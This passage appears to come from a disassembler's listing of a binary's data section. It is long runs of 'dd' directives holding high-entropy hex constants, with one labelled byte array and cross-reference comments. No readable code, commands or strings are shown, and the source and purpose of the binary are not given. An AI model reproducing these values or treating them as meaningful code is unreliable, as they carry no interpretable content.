dd 9F4228E5h, 0CAABF840h, 3F9C4609h, 70DD6370h, 55A1D5F0h
dd 955D3061h, 0E8E1CDEAh, 0F8F9024Bh, 150E8D2Bh, 3D06442h
dd 0E1F8D135h, 288353F5h, 4A6D7B5h, 0D8FBC6C4h, 0C2F8CC61h
dd 0E08A1BA9h, 0D9845B7h, 0F528A0A6h, 0BBE080A3h, 3AE21599h
dd 89A4A019h, 55310EFEh, 0F58001FAh, 0B505D723h, 15384867h
dd 33E87936h, 0F9B8E9F7h, 0B5E50920h, 10C497F0h, 0EC8E4ED8h
dd 0C7C83C3Ah, 44C6824h, 84AC325Ch, 0F0146010h, 4520CC59h
dd 9BBC3A66h, 0E0523448h, 47E3080h, 28C96943h, 1E8821Ch
dd 5314B035h, 0B0AF482Fh, 73197C80h, 0F54CB501h, 62C4761h
dd 129E80DBh, 11DC1881h, 89D0F886h, 0CEFC4090h, 71028098h
dd 0F5A2D832h, 9E88076Ah, 848A0C9Fh, 0C27C4110h, 0ACA0ADE4h
dd 4898EF95h, 61DAB51Dh, 8BA5013Ch, 0F6BFF532h, 0A6C0BC40h
dd 460AE05h, 31BC611h, 2024D167h, 0A6010E95h, 5E4F7EF8h
dd 88D60126h, 0C1CEB089h, 81C78C84h, 208AE2E8h, 82682ACh
dd 630300A2h, 0CB42DFEEh, 35C0328Dh, 2C656208h, 39D87B01h
dd 60865FC7h, 0B8FD32FCh, 0D5A85150h, 6C087124h, 30807E14h
dd 35312442h, 888E504Ch, 13D0902Ah, 25A5FC2h, 31ED5870h
dd 1B819C65h, 0F7795A07h, 285C4060h, 31A41559h, 0E358933Ch
dd 0EEA4415Bh, 0C54C3077h, 82D83405h, 148E4DCCh, 9828DE1Ch
dd 4ABCB9AEh, 0E2901C64h, 95C214C0h, 94DEF167h, 98E00CA8h
dd 1C897340h, 8238B363h
dd 0E20813B8h, 0F5D0093Fh, 0DC94580Eh, 686023B2h, 0AD585E22h
dd 88642030h, 9007C710h, 0DC4CA858h, 0C0724C1Bh, 49287E37h
dd 20058C14h, 497DA1DAh, 3D3C4080h, 1532129Eh, 0D8E0102Ch
dd 0FE47BAB0h, 285EF020h, 26D4139Ch, 9404495h, 4C0A9082h
dd 0C4385924h, 99C6EECDh, 263094FCh, 904A8C2h, 8A55895h
dd 0EA683073h, 4B59A3C4h, 5B5C13A8h, 67428C01h, 0CC4B0BF9h
dd 0F7D02A01h, 211601Eh, 2C0602Fh, 52E0B0EFh, 848E8082h
dd 31164A3Bh, 8404AE1Ch, 0A8D35002h, 35981AABh, 8C650856h
dd 4E85539Fh, 0E803F218h, 24EB787Ch, 89840640h, 201C5131h
dd 9A957405h, 0D453627Ch, 8002584Ah, 0A1FFAB51h, 3C0158CDh
dd 1C582121h, 70091D14h, 25CFF53h, 0C2179C0Ch, 9578395Ch
dd 92AF40ECh, 0D6FC02FCh, 0BC7502AAh, 66260C0h, 0A09108B8h
dd 0B7894A60h, 70789227h, 0E7A4405Ch, 0C08E869h, 261BF833h
dd 58800BDAh, 61243069h, 0BC8B347Bh, 42EC826Dh, 0A570C36Fh
dd 8B21860h, 5AD52069h, 48D40B7h, 35912455h, 0FF5F7164h
dd 54C9A81h, 3AD18C2Ch, 0F8A89C86h, 12DC2CD4h, 0B0F50B58h
dd 7D758801h, 9FD8428Bh, 0E0D4F8AEh, 299AE218h, 309863E6h
dd 7E581158h, 0E06E9826h, 0D803D21Fh, 0A5BCBBE2h, 240EF0CBh
dd 36E0C1A1h, 13C6C0Eh, 7160A765h, 0B215B080h, 4378CC8Eh
dd 65499538h, 78EE2CD4h, 0F0B7B50Ch, 70AE6915h, 806F1086h
dd 5BA75A05h, 9C70DA6Ah, 5E8A9252h, 9C23F0A9h, 0B94B74Dh
dd 160BEF59h, 309B06A0h, 3060BB1Bh, 91DDFC18h, 918E0AF0h
dd 0C115C778h, 205AAD2Fh, 9C515C5Ch, 0C0542298h, 823BE11Fh
dd 0BC58C454h, 0F4750ED9h, 0C1F842B4h, 646A7D27h, 0EE1CB982h
dd 40B8375Dh, 0C30B7DE7h, 0E24674Ch, 328464BCh, 768D1CC8h
dd 43830010h, 7EB3E033h, 0AB00EB8Ah, 65BA863Eh, 0E8B05009h
dd 0A314A08Eh, 404610CEh, 79E010Fh, 52A965C0h, 0C8B06B1Ch
dd 2826FF30h, 2B99197Eh, 1288965h, 5E642BBEh, 0EDDE016Bh
dd 1C532901h, 6FE20020h, 0AECCF012h, 65E445BEh, 8359C923h
dd 0FDA30937h, 121E790Ah, 0FD5064C0h, 4E52107Bh, 30FE0A1Eh
dd 0AC503CBEh, 70DE2AF4h, 505E1B8Ch, 7FF0C835h, 1100E968h
dd 0BC49366h, 31E48DB5h, 39485AC9h, 5784A5Bh, 6C798BB7h
dd 0D9E4B420h, 660701B8h, 0CCC96F1Dh, 42088C27h, 0C78CE053h
dd 2CF88908h, 78C38270h, 0E74CFA09h, 8D030C80h, 0F0C4FC04h
dd 0ABFD2949h, 87E30038h, 0C01EBAD6h, 739EA414h, 70F6F0D8h
dd 8A793088h, 561C7E28h, 5947C7F6h, 6BA57D02h, 0DE027EA2h
dd 0E99C803Eh, 8664B772h, 2E30020Ch, 4BE51DEh, 67B92B69h
dd 0E8847051h, 293863CCh, 4842CE1Eh, 0DB66C0ECh, 0D1C227h
dd 4FEA4BAh, 0D8A964B6h, 0C3907451h, 5D491002h, 0B0E7BE8Ah
dd 1823CE48h, 40DB5999h, 0F600FB5Eh, 308F0492h, 0A6653D78h
dd 54EB0C18h, 3E71455Fh, 683BDF03h, 0A572EC49h, 0D1C7870h
dd 9E02441Dh, 0BDFAD310h, 78469FB0h, 58D79D30h, 0A09BAB7Eh
dd 242606C8h, 53182488h, 14A46198h, 0DE30D860h, 9168414Bh
dd 0C453602Ch, 0F6A2E4D7h, 6B3B801h, 2E04BB8h, 0BF462BBCh
dd 1640E1Eh, 387C8EBBh, 3FCB0C5Dh, 24FE2846h, 701C724Eh
dd 262A5AB5h, 5E129486h, 0B838C742h, 26520A0Ah, 81A8CC60h
dd 27BE68A2h, 0C7088D95h, 44181143h, 3079F278h, 9E38CE59h
dd 0BE0C96F9h, 3062EBA7h, 0BC912B29h, 0AE508174h, 8A0F20h
dd 1178227Eh, 0C3516968h, 0F2AD0DCEh, 85DE007Dh, 0E41D386Eh
dd 40977B6h, 72B00E64h, 0A31AC28h, 0D3C5D124h, 2E4480B8h
dd 0CFEC7BDh, 2834D224h, 759A150h, 3FF1C19Eh, 69E98CFCh
dd 8528606Eh, 8244D85h, 8D0468h, 58DD7E93h, 4E9133B4h
dd 6E885300h, 59386973h, 0B3F8CAh, 0CE794A51h, 0E6D1189Eh
dd 0EF6D5000h, 7DC1104h, 94705C12h, 7861F118h, 44003A40h
dd 0E322F2F5h, 74AADB2Eh, 5980F5D9h, 0BD4B2019h, 0D0E809Ch
dd 0EE700709h, 0E798A384h, 498002Bh, 15FD5C26h, 74014FA9h
dd 9B727F0Eh, 20803049h, 0F738DC4Bh, 0BF03A314h, 39AA5747h
dd 0BA481077h, 3883C09Fh, 21F2BFA0h, 0E3089B67h, 0DE7E0002h
dd 43110938h, 0CD2D8300h, 6E0D4281h, 71650252h, 7286B068h
dd 1E17A8A1h, 0E411EC05h, 301C2007h, 0DC40E2E1h, 0E06067B8h
dd 3F0600E8h, 44B508F3h, 0A1E49039h, 0B385E500h, 0BACB7A29h
dd 0BC714Dh, 8E922693h, 6B13987h, 0E0E1F600h, 6A6F8BC3h
dd 2D5A2A68h, 0F934023Ch, 21542497h, 81BD0218h, 5F06C82Eh
dd 6BF51603h, 0C06166A1h, 6211C383h, 4475E84Dh, 0F0921448h
dd 0B5A94C00h, 9224F1Eh, 0EC11EE6h, 0C00B9B1h, 10774D49h
dd 54806569h, 0C5C30047h, 3BFEA150h, 0BD0035A0h, 83E8BE2Fh
dd 7B305F9Ch, 31706061h, 0F0E2253Fh, 0BCB6D900h, 97237CC8h
dd 7913002Dh, 0D8FDA076h, 880037ABh, 85C20D87h, 30268ABAh
dd 51A04FAFh, 149070FAh, 602C310Fh, 3EB1A00Fh, 1C27581Ah
dd 0C0211E93h, 0D6530625h, 92F64050h, 523C1B0Eh, 6FAA4733h
dd 0DA86DFE3h, 0F4A0ACAEh, 0CEEA0096h, 0E48031A0h, 67507704h
dd 0C321FBF0h, 0F9030075h, 268C1178h, 0B9332086h, 51C1D71h
dd 0DFEC4CF3h, 208B7A01h, 0C3F882h, 0BBB0B750h, 6490EA33h
dd 92D31000h, 0DFD9C41Dh, 0B6B92499h, 0F7F880BCh, 0FA7D9DB1h
dd 0B548B202h, 2083FC6Ch, 7EF62F44h, 0E005AC00h, 0CFEBFF35h
dd 164A00CBh, 0A829D025h, 0FDF10F30h, 0ACFCD037h, 17991009h
dd 8858173Bh, 56042E8h, 27959DBh, 548A46B3h, 0A840A91Eh
dd 4828D658h, 90CB038h, 58B1C1E2h, 0E7E90076h, 3198B486h
dd 0C700910Ah, 85DA196h, 650713h, 798516A2h, 56CAEEEFh
dd 3A7AFF0Ah, 0C91FF04Ch, 0A745AB00h, 2E77B6Ah, 0DD42AF92h
dd 2040639Eh, 0AB000B76h, 0FD9CD61h, 0D70DBDh, 0ED44C3C9h
dd 18B74D78h, 3724FC00h, 9ACB3827h, 4FAB0012h, 0C544EFF8h
dd 0FF010454h, 0D9A2E94Eh, 64D02A48h, 1A7B70h, 0D4277DCFh
dd 83984FA5h, 0BAAFA603h, 0F0C956FEh, 1C71FB5h, 4F3C88A2h
dd 40A711F3h, 0F75471E1h, 8C50400h, 0EA76488Eh, 0F8EC00B7h
dd 5B74799Dh, 0BD0C6C1Fh, 82384B4Eh, 12EA16h, 0B1970F2Bh
dd 9A55D17Fh, 0C885A000h, 0BC51E62Ah, 0FEF800BBh, 0B7D7399Eh
dd 5A003A91h, 3FFC695Ch, 198552Ah, 82780F8Ch, 0FC293BF1h
dd 8C01D15h, 985F5B1Ch, 7A99056h, 0EBB5CCB7h, 0DE58B049h
dd 0AB00B072h, 0C11BF27Ch, 0F173C3h, 0B256DCBAh, 0ACAA2E9Fh
dd 0D9A3E200h, 58709DF6h, 4E8D1DDDh, 551CC093h, 725CBB7Ah
dd 10C090FAh, 0D71AF1F8h, 0A0B50365h, 9EF0CE2Dh, 334B26A0h
dd 47AF5500h, 62692A1Dh, 100A139Fh, 3EBC036Dh, 0CBF01231h
dd 554C2961h, 80810046h, 91B1EE68h, 9900034h, 1AC928DEh
dd 40073F1Dh, 0B6FC7050h, 0D2E5A10h, 0AC84A0EEh, 350E0089h
dd 52BD7BB4h, 0D13A9C60h, 0AC94541Eh, 316C7707h, 0FE20E31Ah
dd 19BF81h, 3F203871h, 4229B9FFh, 160FEEE8h, 0A022AFC9h
dd 9B591F06h, 53400096h, 97C6A1F6h, 5E7ABD07h, 7547D114h
dd 1DB78780h, 4DA5D770h, 0D13084D3h, 45A1D8ACh, 0A737071Dh
dd 71C2EF47h, 80A419DFh, 0BEEC8248h, 0F872A6h, 0C370D441h
dd 7EC1BBAEh, 0F4C61700h, 897D6F80h, 86C707F8h, 60846C73h
dd 0CAC82BF5h, 9153771Eh, 7FAC5FC0h, 3B618886h, 1100049Eh
dd 3AB639A0h, 0C800792Eh
dd 6096D763h, 1402361h, 8D82CF47h
db 54h
byte_530055 db 0C9h, 0B0h, 80h ; DATA XREF: ___:off_4380E4o
; ___:off_4380FCo
dd 0D60DE181h, 1F9BCDh, 6CFDDF68h, 945C4B2h, 0BA208060h
dd 3CBD565h, 0A38491C7h, 8187323h, 60207F52h, 0BCDB00CFh
dd 3618C579h, 1200514Ah, 0D0FE5D78h, 399A762Eh, 7F80A920h
dd 95808D2Fh, 3D00BCF8h, 17071DBh, 31D904Dh, 50E19C12h
dd 5800440Dh, 0F2872D9Ah, 76C28Bh, 12AB0272h, 7779B50Eh
dd 8D7AFDFCh, 528C4303h, 807F7610h, 1DD8A3D5h, 8032B7B8h
dd 9AE0E298h, 86000DD6h, 0CFDE22C9h, 6FF2B121h, 5028E8E1h
dd 55D53760h, 30724658h, 395A311Ch, 85C306D5h, 0D0BD9A7Ch
dd 41A9CA81h, 0BF2332A4h, 55E00129h, 995FC5E3h, 202100F3h
dd 0E476A728h, 830022FFh, 150538EAh, 0C83FA1h, 4C48BE72h
dd 718D92CAh, 6E3D3507h, 0C0AF5336h, 81554DFAh, 0F49F0077h
dd 93C26078h, 5300C414h, 0CF26724Eh, 0D64AE62h, 21D1AC4Ch
dd 7FA68030h, 0CD944FFAh, 77380E1Dh, 6B80EFC9h, 477C5451h
dd 98FBC100h, 999A14E6h, 118F1C61h, 0B72A0031h, 0A66702C2h
dd 0C0BA9E06h, 89CFB2h, 0AC690F9Ch, 1336EC94h, 31F7E51Dh
dd 91213418h, 0B6680196h, 0ECC6BDDh, 0F820F17Ch, 0BD008B58h
dd 40FB9571h, 0D76F8Eh, 413DB81Bh, 0AA93CA3Eh, 1FECA7E8h
dd 6D359501h, 0FA435F21h, 0E849BBC0h, 3403EFBAh, 2A553980h
dd 80EA5A3Eh, 0B808AF74h, 42DD92h, 1A5C5760h, 0CC40076Bh
dd 20A86E00h, 1E7F3E62h, 0B6C50014h, 0AB3CA94Dh, 8C6AE13h
dd 120692Ch, 6BC47A7Eh, 0C77090A2h, 0DD529100h, 0B12B2994h
dd 0D15C005Fh, 81588D97h, 0E3A9814h, 9E2D00ADh, 8560BF5Ah
dd 1078C872h, 8C3B2EC0h, 4239754Dh, 687710ACh, 0C5195C0Fh
dd 80409360h, 761254C7h, 0D206D91Eh, 0F9A170h, 56AB130Ch
dd 318A655Fh, 373CCC0Fh, 7D986048h, 186B9768h, 0B8802E1Ah
dd 0B20C401Ch, 107F880Ch, 5A9D135Eh, 27E607DFh, 2280936Dh
dd 3DFBA8A3h, 5A1C53B8h, 24B30960h, 0F94E738Ch, 4F400EFBh
dd 0F0E03B2Fh, 0D3F65B4Dh, 0FB367E00h, 5D9143D0h, 986C37B8h
dd 4FC300F8h, 0DC535886h, 92DE10F0h, 93469C0h, 4F43BF21h
dd 0D0215B30h, 2EF435B2h, 60ECB903h, 104D7BF6h, 0C1168DD0h
dd 0FF145FB8h, 2068C8A2h, 0FE003B49h, 54165FC9h, 0E4BE717h
dd 37BC692Fh, 0F0C29F60h, 52003B27h, 0E22213E0h, 75C02EEEh
dd 4016151Ch, 5410A03Dh, 5A0FC003h, 0A438BC25h, 808B7F38h
dd 5A0730E1h, 0EE4E0499h, 90A01440h, 41C302C4h, 0FC5739FEh
dd 195406FFh, 0F91E0050h, 5F7795EAh, 20544702h, 8A00ECDCh
dd 0AC96B494h, 0E2F4881Dh, 0FC78A0h, 5EA40CCh, 2914C781h
dd 0B49D8009h, 0CA343054h, 48B004C6h, 21AB3359h, 8008C2Fh
dd 300C51Dh, 0E60E07E9h, 1BF4718h, 0C17054B6h, 0E83A672Ch
dd 0B759E3Dh, 0E3AB9D00h, 9174FD07h, 0B5AF0FB3h, 3A5D085Bh
dd 117E2B98h, 0D23E9909h, 0D6D9D051h, 0A532231Dh, 0EF217718h
dd 79D904FBh, 80EA3022h, 92C50A31h, 8DE81207h, 0F70EE7Ch
dd 14B5A97Bh, 0C4988790h, 7DCD0400h, 2CA1CE4Ch, 1E71F500h
dd 9475C0F4h, 5CD47768h, 0B8006083h, 804BF7Ch, 6E1695A9h
dd 60017211h, 58AA7D0Eh, 16A1088Ch, 775F520h, 24CC6A00h
dd 6BCA9CA3h, 253A1D47h, 0EB0A832Bh, 92E0E535h, 90C00486h
dd 302E3C84h, 119A004Ch, 252BDFB6h, 18016FBFh, 0FDC033AFh
dd 4AC0EDFAh, 68F8140Dh, 8808900Eh, 0E0417DEEh, 36D464D9h
dd 548085B3h, 6EFBD949h, 0F9EE01ABh, 0B2E1BC44h, 0FFA4CCFEh
dd 28DA9C30h, 0EC0FA2A9h, 8DEE00B3h, 599F3185h, 9619C542h
dd 6E7809BDh, 0D33AEA18h, 0CC46AB5Ah, 18C42B08h, 7414980Eh
dd 0B0031877h, 0E3C8DBB6h, 4A60011Fh, 0E6CBEF24h, 7BB4409Ch
dd 2B5BEA3Fh, 1D7763E0h, 0B9E8E9h, 2272F63Eh, 1600BAE6h
dd 0AF5FCC4h, 4C40DCAFh, 700016D9h, 3A66DDD3h, 0FB006A8Dh
dd 6DAF20B8h, 78E4E3h, 4CA283E8h, 5A7E6B9Bh, 6ECDF003h
dd 0F8E1F41Fh, 176192FBh, 741E97Bh, 309B939Fh, 35B32527h
dd 0C9157400h, 31B4A8C4h, 1A430061h, 739620A6h, 3B00D634h
dd 0EF84B6F9h, 0E749C95h, 5B51AFF5h, 9114C05Fh, 0EB56BEDDh
dd 4BF36701h, 0BB64285Ah, 0E177B541h, 3D0C21D4h, 0DC03C65Dh
dd 8DDEC876h, 8CB21815h, 841FFB04h, 57268022h, 0ABDF41Ah
dd 93A07500h, 0B9E40212h, 313E615Eh, 9E618439h, 370F8838h
dd 7278E1E5h, 0BCF29D3Eh, 0E6092934h, 2FBA584Ch, 0DB106460h
dd 28CA5Dh, 5FE0980Fh, 0D26B0574h, 5C43B63Eh, 0C50C409Eh
dd 91640886h, 61080BE9h, 3844426Ah, 44181910h, 834207F4h
dd 8A1CBD10h, 31843C99h, 974ED362h, 66958510h, 18310C0Ah
dd 2417E98Ah, 45A92408h, 880C44A5h, 1D0D21A4h, 0BB426B08h
dd 24180115h, 8AC42E1h, 8D60A875h, 496CA137h, 4298904Ch
dd 24ED2A86h, 219C5153h, 8C1888F9h, 0F321D44h, 799154A6h
dd 0C5B1A10Fh, 60AA833h, 19D3BC8Eh, 8C12921h, 87026712h
dd 60039920h, 90BCE1DCh, 19470F00h, 0BFAFC2D9h, 345DC720h
dd 6100A464h, 0DB8ECA0Bh, 58A87974h, 0C309C3E0h, 3F822C9Ch
dd 244827B0h, 67184116h, 8A0BC51h, 0D1BF6004h, 4681F232h
dd 71E218C0h, 79DF43FEh, 0E78E0005h, 0D136E37Ch, 0A1C02D1Fh
dd 5743A2F2h, 0E2642011h, 0FD60BD77h, 2C22D789h, 947DB1h
dd 25414E8Ah, 78F3770Fh, 26308C04h, 7C84E03Ah, 16541C7Ch
dd 0A32CE0Ah, 58A69Bh, 0A84CB4D3h, 24009BFFh, 2E4E39A4h
dd 0EDF22BCh, 539C61DDh, 58642126h, 0A7814906h, 3E80B994h
dd 0FB17424Bh, 0A10B8DDh, 0C889F408h, 5032E89Eh, 78506801h
dd 84DF03C9h, 1FDC159Ah, 5C0A2800h, 7F9D470Eh, 4D41006Eh
dd 0F2AFB1C2h, 0AC1D534Ah, 0E40016EDh, 0EAF4BC80h, 3F2903ECh
dd 7D50C092h, 0DE5C40FFh, 0A500061Fh, 0D73F94Eh, 70985284h
dd 0B512005Ah, 63430BA2h, 33007D08h, 0A9DB341Ah, 46CA3Bh
dd 4861C675h, 0D8E5E8D5h, 0B783DCF3h, 3474BA00h, 2BC0A9DAh
dd 9E6F03FDh, 173D8B0Dh, 2F803CE7h, 0F6696303h, 84B70624h
dd 3878F204h, 8D3D01A8h, 3A24372Fh, 0B7E9DC38h, 6B8E4100h
dd 0D5ED7F28h, 760B03F2h, 6FEAC3D8h, 0EE0E9819h, 0A9860210h
dd 0F0A25356h, 60171E0Ch, 71A0DFh, 72B04B0Ah, 14154AA1h
dd 0FB2240h, 0B378C10Dh, 5BA631F4h, 38A9DE0Ah, 203680EBh
dd 39A23018h, 7C98D010h, 2D04B81Dh, 59608E00h, 3A445DF6h
dd 4C30D3C2h, 0C043935Ch, 0C1FBB000h, 4631BAECh, 13F60E57h
dd 5836E84h, 8CE17B38h, 0ED188B49h, 0BE67017Ah, 50805447h
dd 0BBD6A267h, 8700598Fh, 3DA513C4h, 3A4741DBh, 0C103D20Eh
dd 0F62782D3h, 0AC011807h, 54C04CEAh, 709BE6h, 0DCD510CEh
dd 96A8F182h, 56180401h, 0D9C5844Ch, 0F6974080h, 0DB10ABB1h
dd 7EAF5716h, 70C41E00h, 372BEEAh, 9192C18Fh, 89E0A8D3h
dd 0EF01F89Fh, 0F0182F22h, 5A8094B2h, 4C6C03B1h, 0A1008054h
dd 585C2E36h, 32E895h, 7FDA6251h, 0AB161A7h, 0E3E629C3h
dd 18A00377h, 0BDDF054Ah, 0EC76E804h, 0A01089F8h, 0C6070A3Dh
dd 0E053EF11h, 4C359567h, 2AE598A0h, 561DD300h, 0D52FF75Ch
dd 0E9406320h, 703B6284h, 71ED0A89h, 425030E8h, 58C923B5h
dd 572E888h, 0CDA81Ch, 87774CC4h, 3B03EDEFh, 26AE58B0h
dd 0E1300054h, 0A6435F6h, 5205B243h, 19D52C7Eh, 0CE2E040h
dd 0F0DA029h, 0F305BA53h, 0C89434C0h, 40C0E9B3h, 4CA4FB3Bh
dd 2057007Bh, 1604872Bh
dd 6662AF51h, 0C1ED5478h, 51805AF9h, 1AC55C7h, 0AB14B259h
dd 0EC4C97Fh, 0F842A26Bh, 0EEAFE1h, 53ED36D4h, 0BDBEAB86h
dd 7C004090h, 0E3F17A1Eh, 0FA669AC8h, 0F6B200C0h, 5B0E4DC6h
dd 0B8C24BB7h, 0A01733A8h, 595FE888h, 21F9C09Eh, 7CC5378Eh
dd 0A0505748h, 0A76AB9Dh, 61A95A66h, 0CB108048h, 6E4B93C6h
dd 0F173EB00h, 573F5AF3h, 9E53006Fh, 0AAB9FFB4h, 4D016C78h
dd 0E81BEC06h, 0F3C4A749h, 5BCE020Bh, 9282AFD9h, 384FCA8h
dd 97A8D2C2h, 7BDA984Ch, 0AE49E8F4h, 0C7420384h, 1447C871h
dd 5879D530h, 0B6036321h, 60F2C35Bh, 5DC6B8E9h, 5578ACE7h
dd 70C7A0Ch, 1EF36096h, 8977ED1Dh, 7420B8B5h, 9512F85Bh
dd 0CF2B20C0h, 507B361Dh, 1168494h, 1F55D44Ch, 866021D9h
dd 13305BD8h, 53581431h, 7601E589h, 1FCD6BEh, 4164218Ch
dd 10EB0C34h, 0E18455Ah, 2D43BC21h, 42DC45h, 6C1D05D0h
dd 0EF1FB5B0h, 0B0C757Ch, 0A8C4192h, 0C00301D9h, 4EF10308h
dd 6CD29B0Bh, 10489019h, 790A2462h, 0FFB60198h, 810CE7A6h
dd 0A3163F08h, 0A05076B9h, 601F2Ch, 0AA98A230h, 0A14E595Bh
dd 8284C726h, 6A46A800h, 7178DB61h, 8C184CEDh, 4406494h
dd 9B81033Fh, 43C195F4h, 0F2E31800h, 82BB75ACh, 0E9870A5Ah
dd 1E4F457h, 96F518F9h, 9381807Fh, 3B1CF3C8h, 0F40CF047h
dd 810E2490h, 7BDEA87Ch, 614B0141h, 6292ED47h, 0C9C3E882h
dd 48C22091h, 63C891E9h, 0FF0A0422h, 40C80F72h, 33CFD18Bh
dd 5DF76503h, 0ABBF4B6Ch, 6A3809E8h, 0A8A0C101h, 15F9CD54h
dd 0A0F3940Eh, 0BC515814h, 0F4CE293h, 48E3183Ch, 7BCFCC1Eh
dd 5200FF10h, 4A36285h, 2A72F37Fh, 37304E81h, 4AB105C3h
dd 0CF978048h, 9EA24ED9h, 7722077Dh, 0AEA603E8h, 48A474DCh
dd 5913903h, 9B642F1Fh, 0CFBAC863h, 0EB06E479h, 0FEC6270h
dd 35D0F84h, 416A9C21h, 0CCB8F7C2h, 4400F8A9h, 0D3714280h
dd 0F181F9h, 0FAF7127Bh, 98481A59h, 0DFEAB800h, 93FE10E7h
dd 0E4B7135Ch, 0C2B0391h, 15A0DAE5h, 0D000CF47h, 813EBC85h
dd 7ECA183Fh, 7C120080h, 0A6F1D4C4h, 0BB909921h, 0B1FB1600h
dd 77459F5Ch, 6AACA81Ah, 1C690095h, 975E60F6h, 716EA624h
dd 1255E0E1h, 24733E94h, 8590D24Bh, 139EF3h, 92A1D7D7h
dd 1C126D09h, 1A00A8D1h, 3E78C308h, 98A012BAh, 1D31E72h
dd 0F7E3F3CFh, 30603058h, 80065739h, 1F1D9D7Dh, 0ED72156h
dd 60B7A745h, 0EA2B51A0h, 0A176B2Ah, 0FF207Dh, 406114B0h
dd 96E045A7h, 0B26C1800h, 1F78593h, 0BF8300D7h, 4AB0B105h
dd 0CE07C7CFh, 0E2E3CB73h, 55134B00h, 6D600EF4h, 0FBEF46E5h
dd 49B6D120h, 0BBE2B196h, 41CCF21Eh, 0CA686540h, 703F2C11h
dd 77D60051h, 0AE103479h, 16074A2Fh, 0E44D81C7h, 0B164ED60h
dd 0E0CA0083h, 0D6EEC941h, 0D50F2AC6h, 40874295h, 6C12DD8Ah
dd 8C3A0009h, 82D23962h, 987481C2h, 0BE0020F2h, 0D71145C7h
dd 1C4BEB91h, 0C08E6874h, 8C54798Ah, 0A0009CCAh, 97FBBE15h
dd 3D945551h, 0D580E621h, 0AEC81D8Bh, 8F005F96h, 50C39D07h
dd 0FD79B6h, 0C18B084Ch, 1B861F03h, 7A67871Fh, 3804EB00h
dd 0D3E9FCh, 46B6F966h, 17C2585Dh, 763C7500h, 5FC13388h
dd 9790072h, 2112C88Ah, 0DC039447h, 2526C74Dh, 0D344D8C3h
dd 0BD291F9Dh, 0C5D503B9h, 77C81E50h, 0CBF28B0Dh, 22C9F200h
dd 0A66DEE5h, 5BBC00F1h, 0A1599709h, 900016D5h, 0C3818425h
dd 0F87247h, 58ED3DC9h, 860EAD8Fh, 9D0051F8h, 4B1CAB65h
dd 7AF2B09h, 3A41180h, 0EF34C041h, 5016D810h, 9000CB97h
dd 0D9793A3Dh, 6B7100A7h, 0DE0D85F4h, 0DC7E9CECh, 84B0DF00h
dd 1AA7DA61h, 0AA9B2806h, 0A1E2B4h, 7F4BCC4Eh, 3941B66Ah
dd 9CD24500h, 4790AADBh, 50DE7328h, 117C43Fh, 7B41511Bh
dd 856A4F75h, 26601610h, 4842C700h, 0A406D2h, 238B0CA3h
dd 94B54FDCh, 47062AF0h, 9385A671h, 0E6490080h, 0E8D560CDh
dd 0A300AD18h, 27CA4B02h, 503396C3h, 97C0A1h, 0A5BE5A0Ah
dd 22B22967h, 9C6DF400h, 6B791061h, 1E66009Eh, 976CEB95h
dd 0FBEEEC6Ah, 0ACB85B0Ah, 9D0EB4B0h, 0E0B05D78h, 0A86E895Ah
dd 2E69E0h, 0D8FCE221h, 0E7EAB482h, 48DE7D01h, 0AECFB56Ah
dd 39CCF0h, 0FF2BFD78h, 0D525E00Dh, 0D30E49FAh, 0A3E72444h
dd 0A8840C60h, 0A8078908h, 0E3C3A8h, 0A37025B5h, 87BF46C0h
dd 600BF000h, 0BEB64589h, 5E760074h, 97A506B4h, 0BA00E999h
dd 2D8ADCE6h, 3A842131h, 0B6806583h, 4B1157E0h, 7B4C236Ah
dd 40430029h, 0B4876E4Eh, 0DB370059h, 0FCE8ADC5h, 0F6006B14h
dd 64FB66B6h, 0F7DE7Ch, 2CCF204Ch, 746AB3E8h, 11F99800h
dd 0B4A7C468h, 0B7C31C43h, 0C36B9FEBh, 0EE8D0FFAh, 0A6E88190h
dd 722D58h, 0D54E7387h, 0B80978h, 989930D6h, 6B915A20h
dd 8518600h, 6438D8F1h, 0BDB500BEh, 0B40EAEA8h, 7C1DB104h
dd 0C7182383h, 0BF8178h, 34EA2CC2h, 0AC48C171h, 1EF51404h
dd 7CC34657h, 0E842A3D6h, 24B7A21Bh, 249EFE2h, 7B66A425h
dd 99A0F48Fh, 0D2436FC5h, 0B49DCB09h, 0D886012Bh, 1CE82ED0h
dd 74500070h, 18EB6D83h, 230066AEh, 0BC8952D3h, 2069B6h
dd 0E89EC906h, 92BEA1C4h, 9D5829F0h, 0A61F7C07h, 2840AE20h
dd 1227C58Fh, 0BEDF000Fh, 844F7988h, 40002D4Ch, 7D8E86C4h
dd 5532867h, 0B5312B39h, 0ABE812Fh, 3D8ACCE2h, 0F420300h
dd 0F8374C7Bh, 72DE222h, 0FA8F69A0h, 6A635048h, 40007866h
dd 0EEF5987Eh, 7BE9A93h, 92BCA7FFh, 1176A0BBh, 7001FF9h
dd 9D6E1860h, 0D58853h, 25CFAF26h, 6A3A2757h, 870F07B0h
dd 20766B64h, 2FE8FC0Bh, 0C32C0017h, 83CAA145h, 0FE00960Dh
dd 5CAF6902h, 1D847708h, 80B79BFFh, 4EA0AD92h, 0B374DCD6h
dd 11132830h, 0B6CE1Fh, 0A9BD9A85h, 4B017AEh, 66A84601h
dd 0BC972F9Dh, 3BE898E1h, 94EF03A2h, 9A01652h, 66F0A4C0h
dd 0F4823C2Eh, 74BF2A05h, 0C613F880h, 7E09AE0h, 2FBA0ACCh
dd 0F0EE47A0h, 0D00641B9h, 8027E403h, 7AB15EBh, 67286DB2h
dd 8B59D0E8h, 19000A36h, 0B8BBE135h, 0A648AB0h, 0ED688840h
dd 2C4D00C7h, 0CDBDFA6h, 91AC3800h, 7CBB75C3h, 0F5E6006Dh
dd 13CEBF39h, 0E200F7D9h, 2BEA9DB1h, 271E97h, 828381ADh
dd 0E7B89E1Ch, 0AC4E1F00h, 8C79FE98h, 37850EEBh, 2EC77291h
dd 5CA80062h, 90033EDh, 6EADD476h, 6364Eh, 0BF623815h
dd 20EA983Ch, 48A83300h, 5CFFDC45h, 109500CFh, 56577086h
dd 0BC0FE1DFh, 5D1A4EE6h, 0A040D80Eh, 722829ECh, 160E25Fh
dd 6F994D8Fh, 0C6EAE92Eh, 0C6AE87E0h, 0A966E203h, 93E837DCh
dd 57A6D186h, 0F43D1CF8h, 7ACF00C8h, 89474FA7h, 2B3A8F34h
dd 0B19BA85Eh, 29049270h, 5A39B633h, 37C8CDC0h, 288506A4h
dd 60AD5F6Bh, 8071804h, 0D4C7787Eh, 0FB36BA90h, 0A25B301Ah
dd 7EE47D21h, 0F790F967h, 0ECD383E1h, 1878420h, 0C5FC4FD7h
